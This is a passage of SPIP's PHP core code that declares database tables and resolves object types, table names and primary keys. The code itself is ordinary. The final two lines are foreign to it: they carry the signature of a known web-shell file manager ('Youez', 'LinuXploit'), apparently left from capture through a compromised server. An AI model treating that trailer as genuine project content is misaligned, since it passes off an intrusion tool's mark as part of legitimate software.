						$GLOBALS[$principale_ou_auxiliaire][$table][$k] = &$infos_tables[$table][$k];
					}
				}
			} else {
				// ici on ne renvoie que les declarations, donc RIEN
				// pour avoir la vrai description en base, il faut passer par trouver_table
				$GLOBALS[$principale_ou_auxiliaire][$table] = array();
			}
			if (count($mem)) {
				foreach (array_keys($mem) as $k) {
					if (isset($GLOBALS[$principale_ou_auxiliaire][$table][$k])) {
						$GLOBALS[$principale_ou_auxiliaire][$table][$k] = array_merge($GLOBALS[$principale_ou_auxiliaire][$table][$k],
							$mem[$k]);
					} else {
						$GLOBALS[$principale_ou_auxiliaire][$table][$k] = $mem[$k];
					}
				}
			}
		}

		// recuperer les interfaces (table_titre, table_date)
		// on ne le fait que dans un second temps pour que table_objet soit fonctionnel
		// dans le pipeline de declarer_tables_interfaces
		include_spip('public/interfaces');
		foreach (array_keys($infos_tables) as $t) {
			$infos_tables[$t] = renseigner_table_objet_interfaces($t, $infos_tables[$t]);
		}

		$deja_la = false;
		// signature
		$md5 = md5(serialize($infos_tables));
	}
	if ($table_sql === "::md5") {
		return $md5;
	}
	if ($table_sql and !isset($infos_tables[$table_sql])) {
		#$desc = renseigner_table_objet_sql($table_sql,$desc);
		$desc = renseigner_table_objet_interfaces($table_sql, $desc);

		return $desc;
	}
	if ($table_sql) {
		return isset($infos_tables[$table_sql]) ? $infos_tables[$table_sql] : array();
	}

	return $infos_tables;
}


/**
 * Déclare les tables principales du Core
 *
 * Tables principales, hors objets éditoriaux.
 *
 * @param array $tables_principales
 *     Description des tables principales déjà déclarées
 * @return void
 **/
function base_serial(&$tables_principales) {

	$spip_jobs = array(
		"id_job" => "bigint(21) NOT NULL",
		"descriptif" => "text DEFAULT '' NOT NULL",
		"fonction" => "varchar(255) NOT NULL", //nom de la fonction
		"args" => "longblob DEFAULT '' NOT NULL", // arguments
		"md5args" => "char(32) NOT NULL default ''", // signature des arguments
		"inclure" => "varchar(255) NOT NULL", // fichier a inclure ou path/ pour charger_fonction
		"priorite" => "smallint(6) NOT NULL default 0",
		"date" => "datetime DEFAULT '0000-00-00 00:00:00' NOT NULL", // date au plus tot
		"status" => "tinyint NOT NULL default 1",
	);

	$spip_jobs_key = array(
		"PRIMARY KEY" => "id_job",
		"KEY date" => "date",
		"KEY status" => "status",
	);

	/// Attention: mes_fonctions peut avoir deja defini cette variable
	/// il faut donc rajouter, mais pas reinitialiser
	$tables_principales['spip_jobs'] = array('field' => &$spip_jobs, 'key' => &$spip_jobs_key);
}


/**
 * Déclare les tables auxiliaires du Core
 *
 * @param array $tables_auxiliaires
 *     Description des tables auxiliaires déjà déclarées
 * @return void
 **/
function base_auxiliaires(&$tables_auxiliaires) {
	$spip_resultats = array(
		"recherche" => "char(16) DEFAULT '' NOT NULL",
		"id" => "INT UNSIGNED NOT NULL",
		"points" => "INT UNSIGNED DEFAULT '0' NOT NULL",
		"table_objet" => "varchar(30) DEFAULT '' NOT NULL",
		"serveur" => "char(16) DEFAULT '' NOT NULL", // hash md5 partiel du serveur de base ('' pour le serveur principal)
		"maj" => "TIMESTAMP"
	);

	$spip_resultats_key = array(// pas de cle ni index, ca fait des insertions plus rapides et les requetes jointes utilisees en recheche ne sont pas plus lentes ...
	);

	$spip_auteurs_liens = array(
		"id_auteur" => "bigint(21) DEFAULT '0' NOT NULL",
		"id_objet" => "bigint(21) DEFAULT '0' NOT NULL",
		"objet" => "VARCHAR (25) DEFAULT '' NOT NULL",
		"vu" => "VARCHAR(6) DEFAULT 'non' NOT NULL"
	);

	$spip_auteurs_liens_key = array(
		"PRIMARY KEY" => "id_auteur,id_objet,objet",
		"KEY id_auteur" => "id_auteur",
		"KEY id_objet" => "id_objet",
		"KEY objet" => "objet",
	);

	$spip_meta = array(
		"nom" => "VARCHAR (255) NOT NULL",
		"valeur" => "text DEFAULT ''",
		"impt" => "ENUM('non', 'oui') DEFAULT 'oui' NOT NULL",
		"maj" => "TIMESTAMP"
	);

	$spip_meta_key = array(
		"PRIMARY KEY" => "nom"
	);

	$spip_jobs_liens = array(
		"id_job" => "bigint(21) DEFAULT '0' NOT NULL",
		"id_objet" => "bigint(21) DEFAULT '0' NOT NULL",
		"objet" => "VARCHAR (25) DEFAULT '' NOT NULL",
	);

	$spip_jobs_liens_key = array(
		"PRIMARY KEY" => "id_job,id_objet,objet",
		"KEY id_job" => "id_job"
	);

	$tables_auxiliaires['spip_auteurs_liens'] = array(
		'field' => &$spip_auteurs_liens,
		'key' => &$spip_auteurs_liens_key
	);

	$tables_auxiliaires['spip_meta'] = array(
		'field' => &$spip_meta,
		'key' => &$spip_meta_key
	);
	$tables_auxiliaires['spip_resultats'] = array(
		'field' => &$spip_resultats,
		'key' => &$spip_resultats_key
	);
	$tables_auxiliaires['spip_jobs_liens'] = array(
		'field' => &$spip_jobs_liens,
		'key' => &$spip_jobs_liens_key
	);

}


/**
 * Auto remplissage des informations non explicites
 * sur un objet d'une table sql
 *
 * - table_objet
 * - table_objet_surnoms
 * - type
 * - type_surnoms
 * - url_voir
 * - url_edit
 * - icone_objet
 *
 * - texte_retour
 * - texte_modifier
 * - texte_creer
 * - texte_creer_associer
 * - texte_ajouter
 * - texte_objets
 * - texte_objet
 *
 * - info_aucun_objet
 * - info_1_objet
 * - info_nb_objets
 *
 * - texte_logo_objet
 * - texte_langue_objet
 * - texte_definir_comme_traduction_objet
 *
 * - principale
 * - champs_contenu : utlisé pour générer l'affichage par défaut du contenu
 * - editable
 * - champs_editables : utilisé pour prendre en compte le post lors de l'édition
 *
 * - champs_versionnes
 *
 * L'objet doit définir de lui même ces champs pour gérer des statuts :
 *     - statut
 *     - statut_images
 *     - statut_titres
 *     - statut_textes_instituer
 *     - texte_changer_statut
 *     - aide_changer_statut
 *
 * - modeles : permet de declarer les modeles associes a cet objet
 *
 * Les infos non renseignées sont auto-déduites par conventions
 * ou laissées vides
 *
 * @param string $table_sql
 * @param array $infos
 * @return array
 */
function renseigner_table_objet_sql($table_sql, &$infos) {
	if (!isset($infos['type'])) {
		// si on arrive de base/trouver_table, on a la cle primaire :
		// s'en servir pour extrapoler le type
		if (isset($infos['key']["PRIMARY KEY"])) {
			$primary = $infos['key']["PRIMARY KEY"];
			$primary = explode(',', $primary);
			$primary = reset($primary);
			$infos['type'] = preg_replace(',^spip_|^id_|s$,', '', $primary);
		} else {
			$infos['type'] = preg_replace(',^spip_|s$,', '', $table_sql);
		}
	}
	if (!isset($infos['type_surnoms'])) {
		$infos['type_surnoms'] = array();
	}

	if (!isset($infos['table_objet'])) {
		$infos['table_objet'] = preg_replace(',^spip_,', '', $table_sql);
	}
	if (!isset($infos['table_objet_surnoms'])) {
		$infos['table_objet_surnoms'] = array();
	}

	if (!isset($infos['principale'])) {
		$infos['principale'] = (isset($GLOBALS['tables_principales'][$table_sql]) ? 'oui' : false);
	}

	// normaliser pour pouvoir tester en php $infos['principale']?
	// et dans une boucle {principale=oui}
	$infos['principale'] = (($infos['principale'] and $infos['principale'] != 'non') ? 'oui' : false);

	// declarer et normaliser pour pouvoir tester en php $infos['editable']?
	// et dans une boucle {editable=oui}
	if (!isset($infos['editable'])) {
		$infos['editable'] = 'oui';
	}

	$infos['editable'] = (($infos['editable'] and $infos['editable'] != 'non') ? 'oui' : false);

	// les urls publiques sont par defaut page=type pour les tables principales, et rien pour les autres
	// seules les exceptions sont donc a declarer
	if (!isset($infos['page'])) {
		$infos['page'] = ($infos['principale'] ? $infos['type'] : '');
	}

	if (!isset($infos['url_voir'])) {
		$infos['url_voir'] = $infos['type'];
	}
	if (!isset($infos['url_edit'])) {
		$infos['url_edit'] = $infos['url_voir'] . ($infos['editable'] ? '_edit' : '');
	}
	if (!isset($infos['icone_objet'])) {
		$infos['icone_objet'] = $infos['type'];
	}

	// chaines de langue
	// par defaut : objet:icone_xxx_objet
	if (!isset($infos['texte_retour'])) {
		$infos['texte_retour'] = 'icone_retour';
	}
	if (!isset($infos['texte_modifier'])) {
		$infos['texte_modifier'] = $infos['type'] . ':' . 'icone_modifier_' . $infos['type'];
	}
	if (!isset($infos['texte_creer'])) {
		$infos['texte_creer'] = $infos['type'] . ':' . 'icone_creer_' . $infos['type'];
	}
	if (!isset($infos['texte_creer_associer'])) {
		$infos['texte_creer_associer'] = $infos['type'] . ':' . 'texte_creer_associer_' . $infos['type'];
	}
	if (!isset($infos['texte_ajouter'])) // Ajouter un X
	{
		$infos['texte_ajouter'] = $infos['type'] . ':' . 'texte_ajouter_' . $infos['type'];
	}
	if (!isset($infos['texte_objets'])) {
		$infos['texte_objets'] = $infos['type'] . ':' . 'titre_' . $infos['table_objet'];
	}
	if (!isset($infos['texte_objet'])) {
		$infos['texte_objet'] = $infos['type'] . ':' . 'titre_' . $infos['type'];
	}
	if (!isset($infos['texte_logo_objet']))  // objet:titre_logo_objet "Logo de ce X"
	{
		$infos['texte_logo_objet'] = $infos['type'] . ':' . 'titre_logo_' . $infos['type'];
	}
	if (!isset($infos['texte_langue_objet']))  // objet:texte_langue_objet "Langue de ce X"
	{
		$infos['texte_langue_objet'] = $infos['type'] . ':' . 'titre_langue_' . $infos['type'];
	}
	if (!isset($infos['texte_definir_comme_traduction_objet']))  // "Ce X est une traduction du X numéro :"
	{
		$infos['texte_definir_comme_traduction_objet'] = $infos['type'] . ':' . 'texte_definir_comme_traduction_' . $infos['type'];
	}


	// objet:info_aucun_objet
	if (!isset($infos['info_aucun_objet'])) {
		$infos['info_aucun_objet'] = $infos['type'] . ':' . 'info_aucun_' . $infos['type'];
	}
	// objet:info_1_objet
	if (!isset($infos['info_1_objet'])) {
		$infos['info_1_objet'] = $infos['type'] . ':' . 'info_1_' . $infos['type'];
	}
	// objet:info_nb_objets
	if (!isset($infos['info_nb_objets'])) {
		$infos['info_nb_objets'] = $infos['type'] . ':' . 'info_nb_' . $infos['table_objet'];
	}


	if (!isset($infos['champs_editables'])) {
		$infos['champs_editables'] = array();
	}
	if (!isset($infos['champs_versionnes'])) {
		$infos['champs_versionnes'] = array();
	}
	if (!isset($infos['rechercher_champs'])) {
		$infos['rechercher_champs'] = array();
	}
	if (!isset($infos['rechercher_jointures'])) {
		$infos['rechercher_jointures'] = array();
	}

	if (!isset($infos['modeles'])) {
		$infos['modeles'] = array($infos['type']);
	}

	return $infos;
}

/**
 * Renseigner les infos d'interface compilateur pour les tables objets
 * complete la declaration precedente
 *
 * titre
 * date
 * statut
 * tables_jointures
 *
 * @param $table_sql
 * @param $infos
 * @return array
 */
function renseigner_table_objet_interfaces($table_sql, &$infos) {
	if (!isset($infos['titre'])) {
		if (isset($infos['table_objet']) and isset($GLOBALS['table_titre'][$infos['table_objet']])) {
			$infos['titre'] = $GLOBALS['table_titre'][$infos['table_objet']];
		} else {
			$infos['titre'] = ((isset($infos['field']['titre'])) ? "titre," : "'' as titre,");
			$infos['titre'] .= ((isset($infos['field']['lang'])) ? "lang" : "'' as lang");
		}
	}
	if (!isset($infos['date'])) {
		if (isset($infos['table_objet']) and isset($GLOBALS['table_date'][$infos['table_objet']])) {
			$infos['date'] = $GLOBALS['table_date'][$infos['table_objet']];
		} else {
			$infos['date'] = ((isset($infos['field']['date'])) ? "date" : '');
		}
	}
	if (!isset($infos['statut'])) {
		$infos['statut'] = isset($GLOBALS['table_statut'][$table_sql]) ? $GLOBALS['table_statut'][$table_sql] : '';
	}
	if (!isset($infos['tables_jointures'])) {
		$infos['tables_jointures'] = array();
	}
	if (isset($GLOBALS['tables_jointures'][$table_sql])) {
		$infos['tables_jointures'] = array_merge($infos['tables_jointures'], $GLOBALS['tables_jointures'][$table_sql]);
	}

	return $infos;
}

/**
 * Retourne la liste des tables principales et leurs descriptions
 *
 * @api
 * @return array
 *     Liste et descriptions des tables principales
 **/
function lister_tables_principales() {
	static $done = false;
	if (!$done or !count($GLOBALS['tables_principales'])) {
		lister_tables_objets_sql();
		$done = true;
	}

	return $GLOBALS['tables_principales'];
}

/**
 * Retourne la liste des tables auxiliaires et leurs descriptions
 *
 * @api
 * @return array
 *     Liste et descriptions des tables auxiliaires
 **/
function lister_tables_auxiliaires() {
	static $done = false;
	if (!$done or !count($GLOBALS['tables_auxiliaires'])) {
		lister_tables_objets_sql();
		$done = true;
	}

	return $GLOBALS['tables_auxiliaires'];
}

/**
 * Recenser les surnoms de table_objet
 *
 * @return array
 */
function lister_tables_objets_surnoms() {
	static $surnoms = null;
	static $md5 = null;
	if (!$surnoms
		or $md5 != lister_tables_objets_sql('::md5')
	) {
		// passer dans un pipeline qui permet aux plugins de declarer leurs exceptions
		// pour compatibilite, car il faut dorenavent utiliser
		// declarer_table_objets_sql
		$surnoms = pipeline('declarer_tables_objets_surnoms',
			array(
				# pour les modeles
				# a enlever ?
				'doc' => 'documents',
				'img' => 'documents',
				'emb' => 'documents',
			));
		$infos_tables = lister_tables_objets_sql();
		foreach ($infos_tables as $t => $infos) {
			// cas de base type=>table
			// et preg_replace(',^spip_|^id_|s$,',table)=>table
			if ($infos['table_objet']) { // securite, si la fonction est appelee trop tot, c'est vide
				// optimisations pour table_objet
				//$surnoms[$infos['type']] = $infos['table_objet'];
				$surnoms[preg_replace(',^spip_|^id_|s$,', '', $infos['table_objet'])] = $infos['table_objet'];
				$surnoms[preg_replace(',^spip_|^id_|s$,', '', $infos['type'])] = $infos['table_objet'];
				if (is_array($infos['table_objet_surnoms']) and count($infos['table_objet_surnoms'])) {
					foreach ($infos['table_objet_surnoms'] as $surnom) {
						$surnoms[$surnom] = $infos['table_objet'];
					}
				}
			}
		}
		$md5 = lister_tables_objets_sql('::md5');
	}

	return $surnoms;
}

/**
 * Recenser les surnoms de table_objet
 *
 * @return array
 */
function lister_types_surnoms() {
	static $surnoms = null;
	static $md5 = null;
	if (!$surnoms
		or $md5 != lister_tables_objets_sql('::md5')
	) {
		// passer dans un pipeline qui permet aux plugins de declarer leurs exceptions
		// pour compatibilite, car il faut dorenavent utiliser
		// declarer_table_objets_sql
		$surnoms = pipeline('declarer_type_surnoms', array('racine-site' => 'site'));
		$infos_tables = lister_tables_objets_sql();
		foreach ($infos_tables as $t => $infos) {
			if ($infos['type']) { // securite, si la fonction est appelee trop tot, c'est vide
				// optimisations pour objet_type
				//$surnoms[$infos['type']] = $infos['type'];
				$surnoms[preg_replace(',^spip_|^id_|s$,', '', $infos['table_objet'])] = $infos['type'];
				$surnoms[preg_replace(',^spip_|^id_|s$,', '', $infos['type'])] = $infos['type'];
				// surnoms declares
				if (is_array($infos['type_surnoms']) and count($infos['type_surnoms'])) {
					foreach ($infos['type_surnoms'] as $surnom) {
						$surnoms[$surnom] = $infos['type'];
					}
				}
			}
		}
		$md5 = lister_tables_objets_sql('::md5');
	}

	return $surnoms;
}

/**
 * Retourne la liste des tables SQL qui concernent SPIP
 *
 * Cette liste n'est calculée qu'une fois par serveur pour l'ensemble du hit
 *
 * @param string $serveur
 *     Nom du fichier de connexion à la base de données
 * @return array
 *     Couples (nom de la table SQL => même nom, sans 'spip_' devant)
 **/
function lister_tables_spip($serveur = '') {
	static $tables = array();
	if (!isset($tables[$serveur])) {
		$tables[$serveur] = array();
		if (!function_exists("sql_alltable")) {
			include_spip("base/abstract_sql");
		}
		$ts = sql_alltable(null, $serveur); // toutes les tables "spip_" (ou prefixe perso)
		$connexion = $GLOBALS['connexions'][$serveur ? $serveur : 0];
		$spip = $connexion['prefixe'] . '_';
		foreach ($ts as $t) {
			$t = substr($t, strlen($spip));
			$tables[$serveur]["spip_$t"] = $t;
		}
	}

	return $tables[$serveur];
}

/**
 * Retrouve le nom d'objet à partir de la table
 *
 * - spip_articles -> articles
 * - id_article    -> articles
 * - article       -> articles
 *
 * @api
 * @param string $type
 *     Nom de la table SQL (le plus souvent)
 *     Tolère un nom de clé primaire.
 * @param string $serveur
 *     Nom du connecteur
 * @return string
 *     Nom de l'objet
 **/
function table_objet($type, $serveur = '') {
	$surnoms = lister_tables_objets_surnoms();
	$type = preg_replace(',^spip_|^id_|s$,', '', $type);
	if (!$type) {
		return;
	}
	if (isset($surnoms[$type])) {
		return $surnoms[$type];
	}

	if ($serveur !== false) {
		$t = lister_tables_spip($serveur);
		$trouver_table = charger_fonction('trouver_table', 'base');
		$typetrim = rtrim($type, 's') . "s";
		if (
			(isset($t[$typetrim]) or in_array($typetrim, $t))
			and ($desc = $trouver_table(rtrim($type, 's') . "s", $serveur))
		) {
			return $desc['id_table'];
		} elseif (
			(isset($t[$type]) or in_array($type, $t))
			and ($desc = $trouver_table($type, $serveur))
		) {
			return $desc['id_table'];
		}

		spip_log('table_objet(' . $type . ') calculee sans verification');
		#spip_log(debug_backtrace(),'db');
	}

	return rtrim($type, 's') . "s"; # cas historique ne devant plus servir, sauf si $serveur=false
}

/**
 * Retrouve la table sql à partir de l'objet ou du type
 *
 * - articles    -> spip_articles
 * - article     -> spip_articles
 * - id_article  -> spip_articles
 *
 * @api
 * @param string $type
 *     Nom ou type de l'objet
 *     Tolère un nom de clé primaire.
 * @param string $serveur
 *     Nom du connecteur
 * @return string
 *     Nom de la table SQL
 **/
function table_objet_sql($type, $serveur = '') {

	$nom = table_objet($type, $serveur);
	if (!isset($GLOBALS['table_des_tables']['articles'])) // eviter de multiples inclusions
	{
		include_spip('public/interfaces');
	}
	if (isset($GLOBALS['table_des_tables'][$nom])) {
		$nom = $GLOBALS['table_des_tables'][$nom];
		$nom = "spip_$nom";
	} else {
		$infos_tables = lister_tables_objets_sql();
		if (isset($infos_tables["spip_$nom"])) {
			$nom = "spip_$nom";
		} elseif ($serveur !== false) {
			$t = lister_tables_spip($serveur);
			if (isset($t[$nom]) or in_array($nom, $t)) {
				$trouver_table = charger_fonction('trouver_table', 'base');
				if ($desc = $trouver_table($nom, $serveur)) {
					return $desc['table_sql'];
				}
			}
		}
	}

	return $nom;
}

/**
 * Retrouve la clé primaire à partir du nom d'objet ou de table
 *
 * - articles      -> id_article
 * - article       -> id_article
 * - spip_articles -> id_article
 *
 * @api
 * @param string $type
 *     Nom de la table SQL ou de l'objet
 * @param string $serveur
 *     Nom du connecteur
 * @return string
 *     Nom de la clé primaire
 **/
function id_table_objet($type, $serveur = '') {
	static $trouver_table = null;
	$type = objet_type($type, $serveur);
	if (!$type) {
		return;
	}
	$t = table_objet($type);
	if (!$trouver_table) {
		$trouver_table = charger_fonction('trouver_table', 'base');
	}

	$ts = lister_tables_spip($serveur);
	if (in_array($t, $ts)) {
		$desc = $trouver_table($t, $serveur);
		if (isset($desc['key']['PRIMARY KEY'])) {
			return $desc['key']['PRIMARY KEY'];
		}
		if (!$desc or isset($desc['field']["id_$type"])) {
			return "id_$type";
		}
		// sinon renvoyer le premier champ de la table...
		$keys = array_keys($desc['field']);

		return array_shift($keys);
	}

	return "id_$type";
}

/**
 * Retrouve le type d'objet à partir du nom d'objet ou de table
 *
 * - articles      -> article
 * - spip_articles -> article
 * - id_article    -> article
 *
 * @api
 * @param string $table_objet
 *     Nom de l'objet ou de la table SQL
 * @param string $serveur
 *     Nom du connecteur
 * @return string
 *     Type de l'objet
 **/
function objet_type($table_objet, $serveur = '') {
	if (!$table_objet) {
		return;
	}
	$surnoms = lister_types_surnoms();

	// scenario de base
	// le type est decline a partir du nom de la table en enlevant le prefixe eventuel
	// et la marque du pluriel
	// on accepte id_xx en entree aussi
	$type = preg_replace(',^spip_|^id_|s$,', '', $table_objet);
	if (isset($surnoms[$type])) {
		return $surnoms[$type];
	}

	// securite : eliminer les caracteres non \w
	$type = preg_replace(',[^\w-],', '', $type);

	// si le type redonne bien la table c'est bon
	// oui si table_objet ressemblait deja a un type
	if ($type == $table_objet
		or (table_objet($type, $serveur) == $table_objet)
		or (table_objet_sql($type, $serveur) == $table_objet)
	) {
		return $type;
	}

	// si on ne veut pas chercher en base
	if ($serveur === false) {
		return $type;
	}

	// sinon on passe par la cle primaire id_xx pour trouver le type
	// car le s a la fin est incertain
	// notamment en cas de pluriel derogatoire
	// id_jeu/spip_jeux id_journal/spip_journaux qui necessitent tout deux
	// une declaration jeu => jeux, journal => journaux
	// dans le pipeline declarer_tables_objets_surnoms
	$trouver_table = charger_fonction('trouver_table', 'base');
	$ts = lister_tables_spip($serveur);
	$desc = false;
	if (in_array($table_objet, $ts)) {
		$desc = $trouver_table($table_objet);
	}
	if (!$desc and in_array($table_objet = table_objet($type, $serveur), $ts)) {
		$desc = $trouver_table($table_objet, $serveur);
	}
	// si le type est declare : bingo !
	if ($desc and isset($desc['type'])) {
		return $desc['type'];
	}

	// on a fait ce qu'on a pu
	return $type;
}

/**
 * Determininer si un objet est publie ou non
 *
 * On se base pour cela sur sa declaration de statut
 * pour des cas particuliers non declarables, on permet de fournir une fonction
 * base_xxxx_test_si_publie qui sera appele par la fonction
 *
 * @param string $objet
 * @param int $id_objet
 * @param string $serveur
 * @return bool
 */
function objet_test_si_publie($objet, $id_objet, $serveur = '') {
	// voir si une fonction est definie pour faire le boulot
	// elle a la priorite dans ce cas
	if ($f = charger_fonction($objet . "_test_si_publie", "base", true)) {
		return $f($objet, $id_objet, $serveur);
	}

	// sinon on se fie a la declaration de l'objet si presente
	$id_table = $table_objet = table_objet($objet);
	$id_table_objet = id_table_objet($objet, $serveur);
	$trouver_table = charger_fonction('trouver_table', 'base');
	if ($desc = $trouver_table($table_objet, $serveur)
		and isset($desc['statut'])
		and $desc['statut']
	) {
		$boucle = new Boucle();
		$boucle->show = $desc;
		$boucle->nom = 'objet_test_si_publie';
		$boucle->id_boucle = $id_table;
		$boucle->id_table = $id_table;
		$boucle->sql_serveur = $serveur;
		$boucle->select[] = $id_table_objet;
		$boucle->from[$table_objet] = table_objet_sql($objet, $serveur);
		$boucle->where[] = $id_table . '.' . $id_table_objet . '=' . intval($id_objet);

		include_spip('public/compiler');
		include_spip('public/composer');
		instituer_boucle($boucle, false, true);
		$res = calculer_select($boucle->select, $boucle->from, $boucle->from_type, $boucle->where, $boucle->join,
			$boucle->group, $boucle->order, $boucle->limit, $boucle->having, $table_objet, $id_table, $serveur);
		if (sql_fetch($res)) {
			return true;
		}

		return false;
	}

	// si pas d'info statut ni de fonction : l'objet est publie
	return true;
}

Youez - 2016 - github.com/yon3zu
LinuXploit